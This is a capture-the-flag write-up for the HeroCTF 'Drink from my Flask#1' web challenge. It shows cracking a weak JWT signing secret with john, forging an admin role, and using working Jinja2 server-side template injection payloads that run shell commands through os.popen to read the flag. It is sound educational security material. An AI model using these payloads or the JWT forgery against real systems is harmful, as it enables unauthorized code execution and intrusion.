Drink from my Flask#1
Table of Contents
Overview
- 87 solves / 168 points
- Difficulty: Medium
- Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆
Background
A friend of yours got into an argument with a flask developer. He tried handling it himself, but he somehow got his nose broken in the process… Can you put your hacker skills to good use and help him out?
You should probably be able to access the server hosting your target’s last project, shouldn’t you ? I heard is making a lost of programming mistakes…
Deploy on deploy.heroctf.fr
Format : Hero{flag}
Author : Log_s
Enumeration
Home page:
In here, we need to supply op
, n1
, n2
GET parameters, otherwise it’ll return “Invalid operation”.
Burp Suite HTTP history:
When we go to /
, it’ll set a new cookie called token
, and it’s a JWT (JSON Web Token).
Note: It’s highlighted in green is because of the “JSON Web Tokens” extension in Burp Suite.
JWT Decoded:
As you can see, it’s using algorithm HS256, which is HMAC + SHA256. In the payload section, it has a role
claim, it’s currently set to guest
.
Hmm… Since HS256 is a symmetric signing key algorithm, we can try to brute force the signing secret.
To do so, I’ll use john
:
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|19:06:17(HKT)]
└> john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
[...]
key (?)
[...]
Nice!! We successfully cracked the signing secret: key
!!
Now, we can sign our modified JWT via jwt.io!
But what value should we modify in the role
claim?
Hmm… Don’t know yet.
Let’s try to provide op
, n1
, n2
GET parameters in /
:
Maybe we can do command injection??
But nope, I tried.
Then, I try to go to a non-existance page:
And oh! We found the admin page!
We now shouldn’t able to visit the admin page:
Now, as the JWT signing secret was found, let’s modify the role
claim to admin
:
Umm… What? Just that?
In those 404 page and /adminPage
, it’s vulnerable to reflected XSS:
However, those aren’t useful for us… Our goal should be finding sever-side vulnerability…
I also noticed this weird error:
“Anormaly long payload”
After poking around, I have no idea what should I do…
Ah! Wait, how do the 404 page is rendered?
You guessed! Flask is using a template engine called “Jinja2”:
Nice! We can try to gain Remote Code Execution (RCE) via Server-Side Template Injection (SSTI)!
Exploitation
According to HackTricks, we could gain RCE via the following payload:
Ahh… I now know why the “Anormaly long payload” exist…
┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:45(HKT)]
└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 34)")
<h2>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA was not found</h2><br><p>Only routes / and /adminPage are available</p> ┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:47(HKT)]
└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 35)")
Anormaly long payload
As you can see, the path is limited to 34 characters.
So… We need to craft a SSTI payload that less than 35 characters.
To bypass that, we can use the config
object instance in Flask. This object instance stores the server’s configuration:
In that object instance, it has a method called update
, which add/update an attribute in that object instance:
config.update(key=value)
That being said, we can use the update()
method to save some characters!
However, I don’t wanna go through that painful route!
Do you still remember we have reflected XSS in /adminPage
with the JWT’s role
claim?
Does it have any character limit AND vulnerable to SSTI?
Nice!! That /adminPage
doesn’t have any character limit!
Let’s try to gain RCE again:
\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -lah').read() \}\}
Note: Once again, the above payload is from HackTricks
Let’s read the flag!!
\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() \}\}
- Flag:
Hero{sst1_fl4v0ur3d_c0Ok1e}
Conclusion
What we’ve learned:
- Cracking JWT Secret & Exploiting RCE Via SSTI